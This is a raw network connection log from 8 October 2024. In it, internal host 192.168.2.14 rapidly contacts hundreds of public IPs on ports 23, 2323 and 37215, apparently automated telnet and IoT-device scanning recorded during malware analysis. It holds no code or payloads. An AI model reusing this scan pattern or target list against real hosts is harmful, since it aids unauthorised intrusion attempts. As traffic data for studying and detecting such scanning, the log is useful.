Oct 8, 2024 20:34:45.159696102 CEST	42772	23	192.168.2.14	208.240.214.186
Oct 8, 2024 20:34:45.159877062 CEST	40276	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.161072969 CEST	34194	23	192.168.2.14	121.37.59.7
Oct 8, 2024 20:34:45.162626982 CEST	40652	23	192.168.2.14	122.148.9.227
Oct 8, 2024 20:34:45.163156033 CEST	23	59388	97.76.120.251	192.168.2.14
Oct 8, 2024 20:34:45.163219929 CEST	59388	23	192.168.2.14	97.76.120.251
Oct 8, 2024 20:34:45.163794994 CEST	44704	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:45.164830923 CEST	43024	23	192.168.2.14	108.17.2.31
Oct 8, 2024 20:34:45.166153908 CEST	37215	40276	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.166213989 CEST	40276	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.166742086 CEST	23	34194	121.37.59.7	192.168.2.14
Oct 8, 2024 20:34:45.166796923 CEST	34194	23	192.168.2.14	121.37.59.7
Oct 8, 2024 20:34:45.167171001 CEST	59484	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:45.167341948 CEST	23	40652	122.148.9.227	192.168.2.14
Oct 8, 2024 20:34:45.167387962 CEST	40652	23	192.168.2.14	122.148.9.227
Oct 8, 2024 20:34:45.168021917 CEST	42866	23	192.168.2.14	92.121.159.182
Oct 8, 2024 20:34:45.168687105 CEST	37215	44704	197.47.170.78	192.168.2.14
Oct 8, 2024 20:34:45.168744087 CEST	44704	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:45.170502901 CEST	23	43024	108.17.2.31	192.168.2.14
Oct 8, 2024 20:34:45.170542955 CEST	43024	23	192.168.2.14	108.17.2.31
Oct 8, 2024 20:34:45.171927929 CEST	37215	59484	197.205.151.131	192.168.2.14
Oct 8, 2024 20:34:45.171981096 CEST	59484	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:45.173031092 CEST	23	42866	92.121.159.182	192.168.2.14
Oct 8, 2024 20:34:45.173075914 CEST	42866	23	192.168.2.14	92.121.159.182
Oct 8, 2024 20:34:45.174782038 CEST	49614	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:45.175194025 CEST	47628	23	192.168.2.14	84.7.199.200
Oct 8, 2024 20:34:45.178311110 CEST	37644	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:45.178528070 CEST	57660	23	192.168.2.14	58.16.64.5
Oct 8, 2024 20:34:45.179596901 CEST	37215	49614	156.244.34.40	192.168.2.14
Oct 8, 2024 20:34:45.179678917 CEST	49614	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:45.179930925 CEST	23	47628	84.7.199.200	192.168.2.14
Oct 8, 2024 20:34:45.179980040 CEST	47628	23	192.168.2.14	84.7.199.200
Oct 8, 2024 20:34:45.180418968 CEST	52270	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:45.180593967 CEST	51862	23	192.168.2.14	202.191.103.142
Oct 8, 2024 20:34:45.183027983 CEST	33142	23	192.168.2.14	90.224.239.159
Oct 8, 2024 20:34:45.183100939 CEST	37215	37644	197.242.35.187	192.168.2.14
Oct 8, 2024 20:34:45.183146000 CEST	37644	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:45.183191061 CEST	39602	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:45.183300018 CEST	23	57660	58.16.64.5	192.168.2.14
Oct 8, 2024 20:34:45.183337927 CEST	57660	23	192.168.2.14	58.16.64.5
Oct 8, 2024 20:34:45.185182095 CEST	37215	52270	197.114.205.104	192.168.2.14
Oct 8, 2024 20:34:45.185235023 CEST	52270	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:45.185328960 CEST	23	51862	202.191.103.142	192.168.2.14
Oct 8, 2024 20:34:45.185378075 CEST	51862	23	192.168.2.14	202.191.103.142
Oct 8, 2024 20:34:45.185436964 CEST	57498	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:45.185558081 CEST	48994	23	192.168.2.14	64.37.63.139
Oct 8, 2024 20:34:45.187890053 CEST	47788	23	192.168.2.14	41.218.224.72
Oct 8, 2024 20:34:45.187917948 CEST	23	33142	90.224.239.159	192.168.2.14
Oct 8, 2024 20:34:45.187967062 CEST	33142	23	192.168.2.14	90.224.239.159
Oct 8, 2024 20:34:45.188021898 CEST	44006	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:45.188047886 CEST	37215	39602	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:45.188133001 CEST	39602	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:45.190378904 CEST	37215	57498	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:45.190416098 CEST	57498	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:45.190505981 CEST	23	48994	64.37.63.139	192.168.2.14
Oct 8, 2024 20:34:45.190529108 CEST	54604	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.190568924 CEST	48994	23	192.168.2.14	64.37.63.139
Oct 8, 2024 20:34:45.190748930 CEST	35786	23	192.168.2.14	92.254.55.171
Oct 8, 2024 20:34:45.192847013 CEST	23	47788	41.218.224.72	192.168.2.14
Oct 8, 2024 20:34:45.192889929 CEST	47788	23	192.168.2.14	41.218.224.72
Oct 8, 2024 20:34:45.192955971 CEST	42376	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:45.193105936 CEST	37215	44006	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:45.193187952 CEST	44006	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:45.194108009 CEST	50606	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:45.195394993 CEST	37215	54604	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.195439100 CEST	54604	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.195674896 CEST	23	35786	92.254.55.171	192.168.2.14
Oct 8, 2024 20:34:45.195725918 CEST	35786	23	192.168.2.14	92.254.55.171
Oct 8, 2024 20:34:45.195797920 CEST	39048	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:45.197792053 CEST	37215	42376	156.127.1.25	192.168.2.14
Oct 8, 2024 20:34:45.197832108 CEST	42376	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:45.197902918 CEST	60524	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:45.198968887 CEST	37215	50606	41.225.209.41	192.168.2.14
Oct 8, 2024 20:34:45.199019909 CEST	50606	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:45.199820995 CEST	45862	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:45.200829029 CEST	37215	39048	156.242.157.164	192.168.2.14
Oct 8, 2024 20:34:45.200886011 CEST	39048	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:45.201076031 CEST	34346	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:45.202852964 CEST	37215	60524	197.94.55.209	192.168.2.14
Oct 8, 2024 20:34:45.202898026 CEST	60524	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:45.203213930 CEST	59306	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.204457045 CEST	56960	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:45.205118895 CEST	37215	45862	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:45.205200911 CEST	45862	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:45.205444098 CEST	33566	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:45.206022978 CEST	37215	34346	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:45.206080914 CEST	34346	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:45.206336021 CEST	39500	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:45.207340002 CEST	52218	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:45.207978964 CEST	37215	59306	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.208019972 CEST	59306	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.208271980 CEST	51346	23	192.168.2.14	150.104.138.96
Oct 8, 2024 20:34:45.209214926 CEST	37215	56960	197.247.144.107	192.168.2.14
Oct 8, 2024 20:34:45.209264040 CEST	56960	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:45.209568024 CEST	47336	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:45.209963083 CEST	34650	23	192.168.2.14	86.233.88.112
Oct 8, 2024 20:34:45.210282087 CEST	37215	33566	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:45.210319996 CEST	33566	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:45.211323977 CEST	33504	23	192.168.2.14	151.85.108.195
Oct 8, 2024 20:34:45.211596012 CEST	37215	39500	156.171.60.191	192.168.2.14
Oct 8, 2024 20:34:45.211652040 CEST	39500	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:45.212122917 CEST	37215	52218	156.43.132.129	192.168.2.14
Oct 8, 2024 20:34:45.212174892 CEST	52218	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:45.212338924 CEST	59484	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:45.212594986 CEST	52380	2323	192.168.2.14	220.44.72.29
Oct 8, 2024 20:34:45.213149071 CEST	23	51346	150.104.138.96	192.168.2.14
Oct 8, 2024 20:34:45.213188887 CEST	51346	23	192.168.2.14	150.104.138.96
Oct 8, 2024 20:34:45.214152098 CEST	50090	23	192.168.2.14	165.69.184.253
Oct 8, 2024 20:34:45.214447021 CEST	37215	47336	41.61.90.18	192.168.2.14
Oct 8, 2024 20:34:45.214493990 CEST	47336	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:45.214827061 CEST	23	34650	86.233.88.112	192.168.2.14
Oct 8, 2024 20:34:45.214869022 CEST	34650	23	192.168.2.14	86.233.88.112
Oct 8, 2024 20:34:45.215399981 CEST	37782	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.215774059 CEST	56492	23	192.168.2.14	162.177.60.171
Oct 8, 2024 20:34:45.216825008 CEST	23	33504	151.85.108.195	192.168.2.14
Oct 8, 2024 20:34:45.216865063 CEST	33504	23	192.168.2.14	151.85.108.195
Oct 8, 2024 20:34:45.217159033 CEST	42300	23	192.168.2.14	148.148.201.49
Oct 8, 2024 20:34:45.217729092 CEST	37215	59484	41.126.15.131	192.168.2.14
Oct 8, 2024 20:34:45.217740059 CEST	2323	52380	220.44.72.29	192.168.2.14
Oct 8, 2024 20:34:45.217797995 CEST	52380	2323	192.168.2.14	220.44.72.29
Oct 8, 2024 20:34:45.217798948 CEST	59484	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:45.218328953 CEST	60220	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:45.218542099 CEST	60266	2323	192.168.2.14	92.0.135.4
Oct 8, 2024 20:34:45.219000101 CEST	23	50090	165.69.184.253	192.168.2.14
Oct 8, 2024 20:34:45.219068050 CEST	50090	23	192.168.2.14	165.69.184.253
Oct 8, 2024 20:34:45.220134974 CEST	40832	23	192.168.2.14	76.55.123.113
Oct 8, 2024 20:34:45.220298052 CEST	37215	37782	41.98.76.2	192.168.2.14
Oct 8, 2024 20:34:45.220350981 CEST	37782	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.220737934 CEST	23	56492	162.177.60.171	192.168.2.14
Oct 8, 2024 20:34:45.220799923 CEST	56492	23	192.168.2.14	162.177.60.171
Oct 8, 2024 20:34:45.221605062 CEST	46928	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:45.222009897 CEST	45548	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:45.222137928 CEST	23	42300	148.148.201.49	192.168.2.14
Oct 8, 2024 20:34:45.222182035 CEST	42300	23	192.168.2.14	148.148.201.49
Oct 8, 2024 20:34:45.223545074 CEST	37434	23	192.168.2.14	203.44.97.153
Oct 8, 2024 20:34:45.223769903 CEST	37215	60220	197.153.188.64	192.168.2.14
Oct 8, 2024 20:34:45.223824978 CEST	60220	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:45.223867893 CEST	2323	60266	92.0.135.4	192.168.2.14
Oct 8, 2024 20:34:45.223964930 CEST	60266	2323	192.168.2.14	92.0.135.4
Oct 8, 2024 20:34:45.224596024 CEST	51222	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:45.224826097 CEST	38022	23	192.168.2.14	209.250.211.145
Oct 8, 2024 20:34:45.225163937 CEST	23	40832	76.55.123.113	192.168.2.14
Oct 8, 2024 20:34:45.225256920 CEST	40832	23	192.168.2.14	76.55.123.113
Oct 8, 2024 20:34:45.226242065 CEST	46094	23	192.168.2.14	14.205.74.67
Oct 8, 2024 20:34:45.226460934 CEST	37215	46928	41.102.203.253	192.168.2.14
Oct 8, 2024 20:34:45.226505041 CEST	46928	37215	192.168.2.14	41.102.203.253
Oct 8, 2024 20:34:45.226883888 CEST	23	45548	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:45.226928949 CEST	45548	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:45.227334976 CEST	46656	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:45.227672100 CEST	52262	23	192.168.2.14	135.168.25.249
Oct 8, 2024 20:34:45.228539944 CEST	23	37434	203.44.97.153	192.168.2.14
Oct 8, 2024 20:34:45.228585958 CEST	37434	23	192.168.2.14	203.44.97.153
Oct 8, 2024 20:34:45.229130030 CEST	45918	23	192.168.2.14	162.246.235.148
Oct 8, 2024 20:34:45.230119944 CEST	37215	51222	41.33.42.250	192.168.2.14
Oct 8, 2024 20:34:45.230168104 CEST	51222	37215	192.168.2.14	41.33.42.250
Oct 8, 2024 20:34:45.230226040 CEST	55708	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:45.230463982 CEST	37940	23	192.168.2.14	193.134.173.232
Oct 8, 2024 20:34:45.230613947 CEST	23	38022	209.250.211.145	192.168.2.14
Oct 8, 2024 20:34:45.230654955 CEST	38022	23	192.168.2.14	209.250.211.145
Oct 8, 2024 20:34:45.231599092 CEST	23	46094	14.205.74.67	192.168.2.14
Oct 8, 2024 20:34:45.231635094 CEST	46094	23	192.168.2.14	14.205.74.67
Oct 8, 2024 20:34:45.232270956 CEST	41804	23	192.168.2.14	19.170.100.31
Oct 8, 2024 20:34:45.232851028 CEST	37215	46656	156.210.51.216	192.168.2.14
Oct 8, 2024 20:34:45.232912064 CEST	46656	37215	192.168.2.14	156.210.51.216
Oct 8, 2024 20:34:45.233357906 CEST	51186	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.233674049 CEST	45178	23	192.168.2.14	178.82.252.159
Oct 8, 2024 20:34:45.233680964 CEST	23	52262	135.168.25.249	192.168.2.14
Oct 8, 2024 20:34:45.233747959 CEST	52262	23	192.168.2.14	135.168.25.249
Oct 8, 2024 20:34:45.234688044 CEST	23	45918	162.246.235.148	192.168.2.14
Oct 8, 2024 20:34:45.234793901 CEST	45918	23	192.168.2.14	162.246.235.148
Oct 8, 2024 20:34:45.235403061 CEST	57004	2323	192.168.2.14	36.241.72.227
Oct 8, 2024 20:34:45.236443996 CEST	37215	55708	41.237.78.220	192.168.2.14
Oct 8, 2024 20:34:45.236603022 CEST	55708	37215	192.168.2.14	41.237.78.220
Oct 8, 2024 20:34:45.236609936 CEST	58274	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:45.236653090 CEST	23	37940	193.134.173.232	192.168.2.14
Oct 8, 2024 20:34:45.236702919 CEST	37940	23	192.168.2.14	193.134.173.232
Oct 8, 2024 20:34:45.236896992 CEST	37554	23	192.168.2.14	169.135.152.169
Oct 8, 2024 20:34:45.237852097 CEST	23	41804	19.170.100.31	192.168.2.14
Oct 8, 2024 20:34:45.237896919 CEST	41804	23	192.168.2.14	19.170.100.31
Oct 8, 2024 20:34:45.238428116 CEST	60936	23	192.168.2.14	204.5.52.211
Oct 8, 2024 20:34:45.239018917 CEST	37215	51186	197.221.227.11	192.168.2.14
Oct 8, 2024 20:34:45.239031076 CEST	23	45178	178.82.252.159	192.168.2.14
Oct 8, 2024 20:34:45.239072084 CEST	45178	23	192.168.2.14	178.82.252.159
Oct 8, 2024 20:34:45.239072084 CEST	51186	37215	192.168.2.14	197.221.227.11
Oct 8, 2024 20:34:45.239670992 CEST	36460	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:45.240118980 CEST	58428	23	192.168.2.14	37.49.119.11
Oct 8, 2024 20:34:45.241153002 CEST	2323	57004	36.241.72.227	192.168.2.14
Oct 8, 2024 20:34:45.241229057 CEST	57004	2323	192.168.2.14	36.241.72.227
Oct 8, 2024 20:34:45.242275000 CEST	48954	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:45.242499113 CEST	36378	23	192.168.2.14	188.185.241.27
Oct 8, 2024 20:34:45.242542982 CEST	37215	58274	197.94.191.86	192.168.2.14
Oct 8, 2024 20:34:45.242605925 CEST	58274	37215	192.168.2.14	197.94.191.86
Oct 8, 2024 20:34:45.242875099 CEST	23	37554	169.135.152.169	192.168.2.14
Oct 8, 2024 20:34:45.242918968 CEST	37554	23	192.168.2.14	169.135.152.169
Oct 8, 2024 20:34:45.243767023 CEST	23	60936	204.5.52.211	192.168.2.14
Oct 8, 2024 20:34:45.243818998 CEST	60936	23	192.168.2.14	204.5.52.211
Oct 8, 2024 20:34:45.244313002 CEST	45144	23	192.168.2.14	91.13.229.145
Oct 8, 2024 20:34:45.244565964 CEST	58030	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:45.245439053 CEST	37215	36460	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:45.245506048 CEST	36460	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:45.245522022 CEST	23	58428	37.49.119.11	192.168.2.14
Oct 8, 2024 20:34:45.245589972 CEST	58428	23	192.168.2.14	37.49.119.11
Oct 8, 2024 20:34:45.246372938 CEST	54284	23	192.168.2.14	62.4.159.95
Oct 8, 2024 20:34:45.246612072 CEST	55218	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:45.247179985 CEST	37215	48954	41.50.101.100	192.168.2.14
Oct 8, 2024 20:34:45.247227907 CEST	48954	37215	192.168.2.14	41.50.101.100
Oct 8, 2024 20:34:45.247380018 CEST	23	36378	188.185.241.27	192.168.2.14
Oct 8, 2024 20:34:45.247431040 CEST	36378	23	192.168.2.14	188.185.241.27
Oct 8, 2024 20:34:45.248213053 CEST	44354	23	192.168.2.14	126.184.78.154
Oct 8, 2024 20:34:45.248441935 CEST	42220	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.249974966 CEST	41612	23	192.168.2.14	109.229.58.0
Oct 8, 2024 20:34:45.250092030 CEST	23	45144	91.13.229.145	192.168.2.14
Oct 8, 2024 20:34:45.250102997 CEST	37215	58030	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:45.250138044 CEST	45144	23	192.168.2.14	91.13.229.145
Oct 8, 2024 20:34:45.250138044 CEST	58030	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:45.250264883 CEST	55048	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:45.251656055 CEST	23	54284	62.4.159.95	192.168.2.14
Oct 8, 2024 20:34:45.251703024 CEST	54284	23	192.168.2.14	62.4.159.95
Oct 8, 2024 20:34:45.251791000 CEST	47918	23	192.168.2.14	165.127.50.67
Oct 8, 2024 20:34:45.251826048 CEST	37215	55218	197.183.193.206	192.168.2.14
Oct 8, 2024 20:34:45.251882076 CEST	55218	37215	192.168.2.14	197.183.193.206
Oct 8, 2024 20:34:45.252002954 CEST	52950	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.253643036 CEST	23	44354	126.184.78.154	192.168.2.14
Oct 8, 2024 20:34:45.253657103 CEST	37215	42220	156.211.117.106	192.168.2.14
Oct 8, 2024 20:34:45.253688097 CEST	44354	23	192.168.2.14	126.184.78.154
Oct 8, 2024 20:34:45.253688097 CEST	42220	37215	192.168.2.14	156.211.117.106
Oct 8, 2024 20:34:45.253722906 CEST	46844	2323	192.168.2.14	155.238.111.186
Oct 8, 2024 20:34:45.253947020 CEST	52690	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:45.255652905 CEST	46326	23	192.168.2.14	65.124.169.215
Oct 8, 2024 20:34:45.256021023 CEST	53810	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:45.256139994 CEST	23	41612	109.229.58.0	192.168.2.14
Oct 8, 2024 20:34:45.256182909 CEST	41612	23	192.168.2.14	109.229.58.0
Oct 8, 2024 20:34:45.257276058 CEST	37215	55048	156.33.3.166	192.168.2.14
Oct 8, 2024 20:34:45.257325888 CEST	55048	37215	192.168.2.14	156.33.3.166
Oct 8, 2024 20:34:45.257488966 CEST	39938	23	192.168.2.14	91.124.245.24
Oct 8, 2024 20:34:45.258512020 CEST	23	47918	165.127.50.67	192.168.2.14
Oct 8, 2024 20:34:45.258585930 CEST	47918	23	192.168.2.14	165.127.50.67
Oct 8, 2024 20:34:45.258737087 CEST	60652	23	192.168.2.14	77.187.131.44
Oct 8, 2024 20:34:45.259634972 CEST	36252	23	192.168.2.14	158.164.12.9
Oct 8, 2024 20:34:45.259804964 CEST	37215	52950	41.49.156.70	192.168.2.14
Oct 8, 2024 20:34:45.259849072 CEST	52950	37215	192.168.2.14	41.49.156.70
Oct 8, 2024 20:34:45.260551929 CEST	35434	23	192.168.2.14	145.98.2.234
Oct 8, 2024 20:34:45.260843039 CEST	2323	46844	155.238.111.186	192.168.2.14
Oct 8, 2024 20:34:45.260858059 CEST	37215	52690	156.133.98.88	192.168.2.14
Oct 8, 2024 20:34:45.260894060 CEST	46844	2323	192.168.2.14	155.238.111.186
Oct 8, 2024 20:34:45.260905981 CEST	52690	37215	192.168.2.14	156.133.98.88
Oct 8, 2024 20:34:45.261533976 CEST	37836	23	192.168.2.14	204.41.146.156
Oct 8, 2024 20:34:45.261611938 CEST	23	46326	65.124.169.215	192.168.2.14
Oct 8, 2024 20:34:45.261626959 CEST	37215	53810	156.192.248.123	192.168.2.14
Oct 8, 2024 20:34:45.261698961 CEST	46326	23	192.168.2.14	65.124.169.215
Oct 8, 2024 20:34:45.261698961 CEST	53810	37215	192.168.2.14	156.192.248.123
Oct 8, 2024 20:34:45.262342930 CEST	41588	23	192.168.2.14	65.115.25.136
Oct 8, 2024 20:34:45.262396097 CEST	23	39938	91.124.245.24	192.168.2.14
Oct 8, 2024 20:34:45.262435913 CEST	39938	23	192.168.2.14	91.124.245.24
Oct 8, 2024 20:34:45.263261080 CEST	55996	23	192.168.2.14	18.6.47.178
Oct 8, 2024 20:34:45.263684034 CEST	23	60652	77.187.131.44	192.168.2.14
Oct 8, 2024 20:34:45.263807058 CEST	60652	23	192.168.2.14	77.187.131.44
Oct 8, 2024 20:34:45.264178991 CEST	45832	23	192.168.2.14	90.228.14.186
Oct 8, 2024 20:34:45.264520884 CEST	23	36252	158.164.12.9	192.168.2.14
Oct 8, 2024 20:34:45.264566898 CEST	36252	23	192.168.2.14	158.164.12.9
Oct 8, 2024 20:34:45.265466928 CEST	52452	2323	192.168.2.14	115.80.9.240
Oct 8, 2024 20:34:45.265539885 CEST	23	35434	145.98.2.234	192.168.2.14
Oct 8, 2024 20:34:45.265657902 CEST	35434	23	192.168.2.14	145.98.2.234
Oct 8, 2024 20:34:45.266406059 CEST	23	37836	204.41.146.156	192.168.2.14
Oct 8, 2024 20:34:45.266453981 CEST	37836	23	192.168.2.14	204.41.146.156
Oct 8, 2024 20:34:45.266709089 CEST	55742	23	192.168.2.14	145.205.113.98
Oct 8, 2024 20:34:45.267261028 CEST	23	41588	65.115.25.136	192.168.2.14
Oct 8, 2024 20:34:45.267306089 CEST	41588	23	192.168.2.14	65.115.25.136
Oct 8, 2024 20:34:45.267559052 CEST	33142	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:45.268481016 CEST	23	55996	18.6.47.178	192.168.2.14
Oct 8, 2024 20:34:45.268516064 CEST	55996	23	192.168.2.14	18.6.47.178
Oct 8, 2024 20:34:45.268541098 CEST	56580	23	192.168.2.14	200.77.28.115
Oct 8, 2024 20:34:45.269153118 CEST	23	45832	90.228.14.186	192.168.2.14
Oct 8, 2024 20:34:45.269205093 CEST	45832	23	192.168.2.14	90.228.14.186
Oct 8, 2024 20:34:45.269388914 CEST	54694	23	192.168.2.14	162.212.204.0
Oct 8, 2024 20:34:45.270437002 CEST	49286	23	192.168.2.14	77.22.13.119
Oct 8, 2024 20:34:45.270437002 CEST	2323	52452	115.80.9.240	192.168.2.14
Oct 8, 2024 20:34:45.270483017 CEST	52452	2323	192.168.2.14	115.80.9.240
Oct 8, 2024 20:34:45.271271944 CEST	56222	23	192.168.2.14	79.112.195.230
Oct 8, 2024 20:34:45.271944046 CEST	23	55742	145.205.113.98	192.168.2.14
Oct 8, 2024 20:34:45.271991014 CEST	55742	23	192.168.2.14	145.205.113.98
Oct 8, 2024 20:34:45.272381067 CEST	23	33142	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:45.272422075 CEST	33142	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:45.272893906 CEST	58388	23	192.168.2.14	78.58.178.108
Oct 8, 2024 20:34:45.273025036 CEST	48562	37215	192.168.2.14	41.202.0.65
Oct 8, 2024 20:34:45.273672104 CEST	23	56580	200.77.28.115	192.168.2.14
Oct 8, 2024 20:34:45.273715973 CEST	56580	23	192.168.2.14	200.77.28.115
Oct 8, 2024 20:34:45.274256945 CEST	23	54694	162.212.204.0	192.168.2.14
Oct 8, 2024 20:34:45.274336100 CEST	54694	23	192.168.2.14	162.212.204.0
Oct 8, 2024 20:34:45.275392056 CEST	23	49286	77.22.13.119	192.168.2.14
Oct 8, 2024 20:34:45.275429964 CEST	50966	37215	192.168.2.14	41.47.159.130
Oct 8, 2024 20:34:45.275439978 CEST	49286	23	192.168.2.14	77.22.13.119
Oct 8, 2024 20:34:45.275548935 CEST	57474	23	192.168.2.14	188.135.77.119
Oct 8, 2024 20:34:45.276047945 CEST	23	56222	79.112.195.230	192.168.2.14
Oct 8, 2024 20:34:45.276086092 CEST	56222	23	192.168.2.14	79.112.195.230
Oct 8, 2024 20:34:45.277348042 CEST	39114	23	192.168.2.14	162.240.134.106
Oct 8, 2024 20:34:45.277461052 CEST	44852	37215	192.168.2.14	41.7.7.103
Oct 8, 2024 20:34:45.278043032 CEST	23	58388	78.58.178.108	192.168.2.14
Oct 8, 2024 20:34:45.278079987 CEST	58388	23	192.168.2.14	78.58.178.108
Oct 8, 2024 20:34:45.279143095 CEST	57946	37215	192.168.2.14	41.125.245.240
Oct 8, 2024 20:34:45.279407024 CEST	37506	2323	192.168.2.14	85.3.6.123
Oct 8, 2024 20:34:45.281572104 CEST	54314	23	192.168.2.14	120.75.91.38
Oct 8, 2024 20:34:45.281733990 CEST	36296	37215	192.168.2.14	197.90.138.159
Oct 8, 2024 20:34:45.284096003 CEST	37110	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:45.284252882 CEST	60828	23	192.168.2.14	87.71.191.49
Oct 8, 2024 20:34:45.286093950 CEST	45672	23	192.168.2.14	98.143.56.76
Oct 8, 2024 20:34:45.286222935 CEST	60804	37215	192.168.2.14	197.56.8.149
Oct 8, 2024 20:34:45.288367987 CEST	46754	37215	192.168.2.14	156.151.29.185
Oct 8, 2024 20:34:45.288461924 CEST	42980	23	192.168.2.14	212.213.62.210
Oct 8, 2024 20:34:45.288988113 CEST	37215	37110	156.196.97.204	192.168.2.14
Oct 8, 2024 20:34:45.289038897 CEST	37110	37215	192.168.2.14	156.196.97.204
Oct 8, 2024 20:34:45.290304899 CEST	59448	23	192.168.2.14	206.84.233.88
Oct 8, 2024 20:34:45.290410042 CEST	55866	37215	192.168.2.14	156.68.138.126
Oct 8, 2024 20:34:45.292258978 CEST	37312	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:45.292416096 CEST	56274	23	192.168.2.14	154.99.92.15
Oct 8, 2024 20:34:45.294536114 CEST	48138	23	192.168.2.14	204.54.71.90
Oct 8, 2024 20:34:45.294646978 CEST	42768	37215	192.168.2.14	41.39.101.230
Oct 8, 2024 20:34:45.296484947 CEST	40306	37215	192.168.2.14	41.32.197.61
Oct 8, 2024 20:34:45.296680927 CEST	44360	23	192.168.2.14	103.60.127.40
Oct 8, 2024 20:34:45.297240973 CEST	37215	37312	156.13.36.43	192.168.2.14
Oct 8, 2024 20:34:45.297291040 CEST	37312	37215	192.168.2.14	156.13.36.43
Oct 8, 2024 20:34:45.298760891 CEST	51294	23	192.168.2.14	197.231.119.163
Oct 8, 2024 20:34:45.298959017 CEST	51342	37215	192.168.2.14	156.130.3.215
Oct 8, 2024 20:34:45.301265955 CEST	54588	37215	192.168.2.14	156.235.39.57
Oct 8, 2024 20:34:45.301387072 CEST	35474	2323	192.168.2.14	88.254.110.224
Oct 8, 2024 20:34:45.303436041 CEST	39050	23	192.168.2.14	90.229.84.166
Oct 8, 2024 20:34:45.303560019 CEST	50954	37215	192.168.2.14	41.115.234.247
Oct 8, 2024 20:34:45.305447102 CEST	48836	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:45.305665970 CEST	57086	23	192.168.2.14	194.137.125.22
